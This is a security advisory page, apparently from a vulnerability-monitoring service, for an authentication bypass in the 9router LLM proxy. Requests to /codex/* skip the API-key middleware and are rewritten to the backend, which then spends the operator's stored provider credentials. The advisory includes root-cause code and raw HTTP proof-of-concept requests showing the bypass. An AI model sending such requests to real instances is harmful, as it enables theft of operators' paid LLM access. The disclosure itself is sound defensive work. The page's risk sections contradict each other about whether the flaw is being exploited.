Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-8gmq-j984-vp4r

HighCVSS 8.6 / 10
Published Aug 28, 2026·Last modified Aug 28, 2026
Affected Components(1)
npm logo9router
< 0.5.2
Description

Summary

9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.

However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.

As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.

Details

| Component | File | Note | | ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- | | Middleware authorization gate | src/dashboardGuard.js | Protects /v1, /v1beta, /api/v1, and /api/v1beta, but not /codex | | Rewrite configuration | next.config.mjs | Rewrites /codex/:path* to /api/v1/responses | | LLM backend route | src/app/api/v1/responses/route.js | Dispatches rewritten requests to the LLM handler | | Chat handler | src/sse/handlers/chat.js | Uses operator-stored provider credentials for upstream calls |

Tested version:

| Version / Commit | Runtime | Status | | ------------------------------------------------------------ | ---------------- | -------- | | v0.4.80, commit 23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56 | Next.js 16.2.9 | Affected |

Root Cause

The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:

PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];

Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:

return NextResponse.next();

The rewrite configuration then maps the allowed request to the protected backend route:

{
  source: "/codex/:path*",
  destination: "/api/v1/responses"
}

The backend route reaches the same handler used by the canonical LLM endpoint:

return await handleChat(request);

The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.

PoC

The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.

Case 01 — Protected canonical endpoint rejects unauthenticated access

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 401 Unauthorized

This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.

Case 02 — Rewritten /codex/* path bypasses the API-key gate

POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

The request reaches the LLM backend without an API key.

A controlled upstream provider endpoint recorded the outbound request from 9router:

POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true

This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.

Case 03 — Unrelated unknown path does not reach the backend

POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 404 Not Found

No upstream provider call is made. This isolates the issue to the /codex/* rewrite.

Case 04 — Canonical endpoint succeeds only with a valid API key

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.

Attack Scenario

  1. A remote attacker identifies a publicly reachable 9router instance.
  2. The attacker sends LLM proxy requests to /codex/* instead of /api/v1/responses.
  3. The middleware evaluates the original /codex/* path and does not apply the LLM API-key gate.
  4. The rewrite maps the request to /api/v1/responses.
  5. The backend processes the request and performs an upstream provider call.
  6. The upstream call uses the operator-stored provider credentials.

Impact

A successful attacker can use the operator's configured LLM provider account without authentication.

Likely consequences include:

  • Unauthorized use of the 9router LLM proxy.
  • Consumption of the operator's provider credits or quota.
  • Unexpected billing impact.
  • Abuse of configured OpenAI/Anthropic-compatible providers.
  • Exposure of model/provider behavior through proxy responses.
  • Bypass of the intended API-key access control for remote LLM proxy access.
Upload your SBOM

Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.

Risk Scores
Base Score
8.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
7.9

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.61%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard